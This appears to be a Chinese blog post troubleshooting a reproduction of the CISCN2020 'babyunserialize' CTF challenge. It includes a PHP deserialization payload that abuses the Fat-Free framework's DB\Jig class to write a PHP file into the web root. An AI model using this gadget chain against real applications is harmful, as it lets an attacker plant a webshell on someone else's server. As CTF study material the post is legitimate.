如图所示，在复现【CISCN2020】babyunserialize题目时发现出现此问题，该题目基本思路为通过PHP反序列化写入shell

在环境搭建时，直接将从题目中下载的源码放到服务器上，在利用此payload时出现该问题，此处payload参照https://www.gem-love.com/ctf/2569.html

<?php
namespace DB;
class Jig {
    const
        FORMAT_JSON=0,
        FORMAT_Serialized=1;
    
    protected
        //! Storage location
        $dir = '/phpstudy/www/fatfree',
        //! Current storage format
        $format = self::FORMAT_JSON,
        //! Jig log
        $data = array("y1ng.php"=>array("a"=>"<?php phpinfo();?>")),
        //! lazy load/save files
        $lazy = 1;
}
$jig = new Jig();
echo urlencode(serialize($jig));

修改文件权限

修改后再次尝试，发现还是不行，于是查看源码，找到这里的file_put_contents()是在哪里被调用的